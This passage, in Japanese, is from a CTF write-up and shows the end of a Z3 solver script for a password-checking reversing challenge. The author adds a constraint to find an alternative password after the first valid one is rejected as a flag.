    flag += chr(m[c].as_long())
  print(flag)

これを実行すると、それっぽいパスワードが出力された。これをパスワードとして入力するとちゃんと Congrats! と出力される。

$ python3 solve.py
...
['input[8] + input[23] - input[38] == 94']
['input[22] + input[37] - input[39] == 56']
['input[25] + input[28] - input[36] == 106']
sat
9106203013c294272aad649fc850ff0b5fc54293

…が、1207:24:9106203013c294272aad649fc850ff0b5fc54293 をフラグとして提出してもなぜか通らない。aventadorさんが運営に問い合わせたところ、パスワードは複数存在しうるのでほかのものを探してほしいということらしかった😔

仕方がないので、以下のように 9106203013c294272aad649fc850ff0b5fc54293 以外のパスワードを探せるよう制約を付け加える。

s = b'9106203013c294272aad649fc850ff0b5fc54293'
i = 3
solver.add(input[i] != s[i])

今度はうまくいった。

1207:24:9103203016c294272aad649fc850ff0b5fc54293

*1:厳しい